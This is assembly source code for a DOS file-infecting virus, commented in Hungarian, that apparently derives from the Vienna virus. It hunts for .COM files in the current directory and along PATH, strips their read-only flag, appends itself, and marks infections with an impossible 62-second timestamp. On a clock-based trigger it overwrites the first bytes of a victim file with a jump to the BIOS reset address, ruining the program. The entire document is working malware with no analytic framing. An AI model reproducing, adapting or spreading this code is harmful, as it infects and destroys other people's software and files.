PAGE ,132 VIRUS SEGMENT PARA PUBLIC 'CODE' ASSUME CS:VIRUS,DS:VIRUS HOSSZ EQU VEG-KEZDET KEZDET EQU $ INDIT: PUSH CX TBLC: MOV DX,OFFSET TABL CLD ; SZTRINGMUVELETEK NOVEKVO IRANYBA MOV SI,DX ; SI TARTALMAZZA A TABLAZAT KEZDOCIMET ADD SI,OFFSET FILKEZ-TABL MOV DI,100H ; AZ ELSO HAROM BYTE VISSZAALLITASA MOV CX,3 REPZ MOVSB MOV SI,DX ; SI-BE ISMET A TABLAZAT KEZDOCIME MOV AH,30H ; A DOS VERZIOSZAM LEKERDEZESE INT 21H CMP AL,0 ; MEG AZ 1.X VERZIO? JNZ IND1 ; NEM JMP IND2 ; IGEN, A VIRUS NEM TUD TERJEDNI IND1: PUSH ES ; ES ELMENTESE MOV AH,2FH ; A DTA CIMENEK LEKERDEZESE INT 21H ; ES ELTAROLASA A TABLAZATBAN MOV WORD PTR [SI+DTACIM-TABL],BX MOV WORD PTR [SI+DTACIM-TABL+2],ES POP ES ; ES VISSZAOLVASASA MOV DX,UJDTA-TABL ADD DX,SI ; A DTA UJ CIMENEK BEALLITASA MOV AH,1AH INT 21H PUSH ES ; REGISZTEREK ELMENTESE PUSH SI MOV ES,DS:2CH ; A DOS KORNYEZET CIME MOV DI,0 ; ELEJETOL IND3: POP SI ; SI VISSZAOLVASASA PUSH SI ; ES VISSZAIRASA ADD SI,OFFSET SZOVEG-TABL LODSB ; EGY KARAKTER BETOLTESE MOV CX,8000H ; A KORNYEZET MAX. 32K REPNZ SCASB ; AZ ELSO KARAKTER KERESESE MOV CX,OFFSET FSPEC-SZOVEG-1 IND4: LODSB ; A KOVETKEZO KARAKTER BEOLVASASA SCASB ; ES ELLENORZESE JNZ IND3 ; NEM EGYEZIK LOOP IND4 ; FOLYTATNI POP SI ; A REGISZTEREK VISSZAALLITASA POP ES MOV [SI+UTCIM-TABL],DI MOV DI,SI ; DI-BE A TABLAZAT KEZDOCIME ADD DI,OFFSET FSPEC-TABL MOV BX,SI ; SI ELMENTESE BX-BE ADD SI,OFFSET FSPEC-TABL MOV DI,SI JMP SHORT IND5 ; KERESES ELOSZOR AZ AKTUALIS ALKONYVTARBAN INDE: CMP WORD PTR [SI+UTCIM-TABL],0 JNZ IND6 ; VAN MEG TOBB UT JMP IND7 ; MINDEN LEHETSEGES FILE FERTOZOTT IND6: PUSH DS ; A REGISZTEREK ELMENTESE PUSH SI MOV DS,ES:2CH ; DS-BE A DOS KORNYEZET SZEGMENSE MOV DI,SI ; DI A TABLAZATRA MUTAT MOV SI,WORD PTR ES:[DI+UTCIM-TABL] ADD DI,OFFSET FSPEC-TABL IND8: LODSB ; EGY KARAKTER BETOLTESE CMP AL,3BH ; ';' AZ UTAKAT VALASZTJA EL JZ IND9 ; ANNAK A KODJA CMP AL,0 ; A LEZARO NULLA? JZ INDA ; AZ A KOD STOSB ; ELTAROLAS JMP SHORT IND8 ; FOLYTATNI INDA: MOV SI,0 ; TOBB UT NEM LETEZIK IND9: POP BX ; BX A TABLAZAT KEZDOCIME POP DS ; DS VISSZAALLITASA MOV [BX+UTCIM-TABL],SI CMP BYTE PTR [DI-1],5CH ; A FILE SPECIFIKACIO '\' LETT LEZARVA? JZ IND5 ; IGEN MOV AL,5CH ; A '\' KODJA STOSB ; ELTAROLASA IND5: MOV [BX+FAKT-TABL],DI MOV SI,BX ; A TABLAZAT KEZDOCIME BX ADD SI,OFFSET FKER-TABL ; KERESO NEV MOV CX,OFFSET UTCIM-FKER REPZ MOVSB ; ATMASOLASA A FILE SPECIFIKACIOBA MOV SI,BX ; SI A TABLAZAT KEZDOCIME MOV AH,4EH ; FILE KERESESE MOV DX,FSPEC-TABL ADD DX,SI ; A FILE SPECIFIKACIO CIME MOV CX,11B ; A KERESETT ATTRIBUTUM INT 21H JMP SHORT INDC ; A KOVETKEZO RESZT ATUGRANI INDF: MOV AH,4FH ; A KOVETKEZO FILENEV KERESESE INT 21H INDC: JNC INDD ; MEGTALALTUK JMP INDE ; NINCS ITT TOBB HASONLO INDD: MOV AX,[SI+UJDTA-TABL+22] AND AL,11111B ; A LETREHOZAS IDEJENEK MASZKOLJUK A MASODPERCEIT CMP AL,11111B ; 62 MASODPERC? /FERTOZEST EZZEL JELZI/ JZ INDF ; IGEN, TOVABB KELL KERESNI CMP WORD PTR [SI+UJDTA-TABL+26],0FA00H JA INDF ; TUL NAGY FILE, NEM FERTOZHETO CMP WORD PTR [SI+UJDTA-TABL+26],0AH JB INDF ; TUL KICSI FILE MOV DI,[SI+FAKT-TABL] PUSH SI ; A TABLAZAT KEZDOCIMENEK ELMENTESE ADD SI,OFFSET UJDTA-TABL+30 INDG: LODSB ; A FILENEV ATMASOLASA A FILE SPECIFIKACIOBA STOSB CMP AL,0 ; A NEV ZARO NULLA? JNZ INDG ; NEM, FOLYTATNI POP SI ; A TABLAZAT KEZDOCIMENEK VISSZAALLITASA MOV AX,4300H ; A FILE ATTRIBUTUM BEOLVASASA MOV DX,FSPEC-TABL ADD DX,SI ; A FILE SPECIFIKACIO CIME INT 21H MOV [SI+FILATT-TABL],CX MOV AX,4301H ; A FILE ATTRIBUTUM BEALLITASA DB 81H,0E1H,0FEH,0FFH ; AZ R/O BIT TORLESE MOV DX,FSPEC-TABL ADD DX,SI ; A FILE SPECIFIKACIO CIME INT 21H MOV AX,3D02H ; A FILE MEGNYITASA IRASRA & OLVASASRA MOV DX,FSPEC-TABL ADD DX,SI ; A FILE SPECIFIKACIO CIME INT 21H JNC INDH ; NINCS HIBA JMP INDK ; HIBA TORTENT INDH: MOV BX,AX ; A FILESZAM ATVITELE MOV AX,5700H ; A KELETKEZESI IDO BEOLVASASA INT 21H ; ES BEALLITASA MOV [SI+FILIDO-TABL],CX MOV [SI+FILDAT-TABL],DX MOV AH,2CH ; A RENDSZERIDO BEOLVASASA INT 21H AND DH,111B ; A MASODPERCEK OSZTHATOK NYOLCCAL? JNZ INDI ; NEM, A FILE-T CSAK MEGFEROZZUK MOV AH,40H ; EZT A FILE-T MOST MEGGYILKOLJUK /HAHAHA/ MOV CX,5 ; A JMP FAR F000:FFF0 5 BYTE HOSSZU MOV DX,SI ; DX A TABLAZAT KEZDETERE MUTAT ADD DX,OFFSET RESET-TABL INT 21H ; A FILE ELSO 5 BYTEJANAK ATALLITASA RESET-RE JMP INDJ ; ENNEK MAR BEVEGEZTETETT INDI: MOV AH,3FH ; OLVASAS A FILEBOL MOV CX,3 ; AZ ELSO HAROM BYTE MOV DX,FILKEZ-TABL ; A MEGFELELO CIMRE ADD DX,SI INT 21H ; BEOLVASNI JC INDJ ; HIBA TORTENT CMP AX,3 ; MIND A HAROM BYTEOT BEOLVASTA? JNZ INDJ ; NEM, HIBA VOLT MOV AX,4202H ; MUTATO A FILE VEGERE MOV CX,0 MOV DX,0 INT 21H JC INDJ ; TORTENT HIBA? MOV CX,AX ; A FILE HOSSZA SUB AX,3 ; MINUSZ 3, EZ LESZ AZ UJ INDITASI CIM MOV [SI+UJKEZ-TABL+1],AX ADD CX,OFFSET TABL+100H ; A TABLAZAT KEZDOCIME AZ UJ VIRUSBAN MOV DI,SI ; A TABLAZAT KEZDETE SUB DI,OFFSET TABL-TBLC-1 MOV [DI],CX ; A MOV DX, UTASITAS PARAMETERE MOV AH,40H ; KIIRAS A FILE-BA MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA MOV DX,SI ; A TABLAZAT KEZDOCIME SUB DX,OFFSET TABL ; MINUSZ A VIRUSTORZS HOSSZA INT 21H ; KIIRAS JC INDJ ; HIBA TORTENT CMP AX,OFFSET HOSSZ ; MINDEN BYTEOT KIIRT? JNZ INDJ ; NEM MOV AX,4200H ; MUTATO A FILE ELEJERE MOV CX,0 MOV DX,0 INT 21H JC INDJ ; HIBA TORTENT? MOV AH,40H ; KIIRAS A FILE-BA MOV CX,3 ; AZ ELSO 3 BYTE KIIRASA MOV DX,SI ADD DX,OFFSET UJKEZ-TABL INT 21H ; KIIRAS INDJ: MOV DX,[SI+FILDAT-TABL] MOV CX,[SI+FILIDO-TABL] DB 81H,0E1H,0E0H,0FFH ; AND CX,0FFE0H OR CX,OFFSET 11111B ; AZ IDO 62 MASODPERC MOV AX,5701H ; A KELETKEZESI DATUM ES IDO VISSZAIRASA INT 21H ; ES A FERTOZES JELZESE MOV AH,3EH ; FILE LEZARASA INT 21H INDK: MOV AX,4301H ; A REGI ATTRIBUTUM VISSZAALLITASA MOV CX,[SI+FILATT-TABL] MOV DX,FSPEC-TABL ADD DX,SI ; A FILE SPECIFIKACIO CIME INT 21H IND7: PUSH DS ; DS ELMENTESE MOV AH,1AH ; A DTA REGI CIMENEK BEALLITASA MOV DX,WORD PTR [SI+DTACIM-TABL] MOV DS,WORD PTR [SI+DTACIM-TABL+2] INT 21H POP DS ; DS VISSZAALLITASA IND2: POP CX XOR AX,AX ; AX=0 XOR BX,BX ; BX=0 XOR DX,DX ; DX=0 XOR SI,SI ; SI=0 MOV DI,100H ; 100H A VEREMBE PUSH DI XOR DI,DI ; DI=0 RET 0FFFFH TABL EQU $ DTACIM DD 0 FILIDO DW 0 FILDAT DW 0 FILATT DW 0 FILKEZ DB 0,0,0 UJKEZ DB 0,0,0 FKER DB '*.COM',0 UTCIM DW 0 FAKT DW 0 SZOVEG DB 'PATH=' FSPEC DB 40H DUP(' ') UJDTA DB 2BH DUP(0) RESET DB 0EAH,0F0H,0FFH,0,0F0H VEG EQU $ VIRUS ENDS END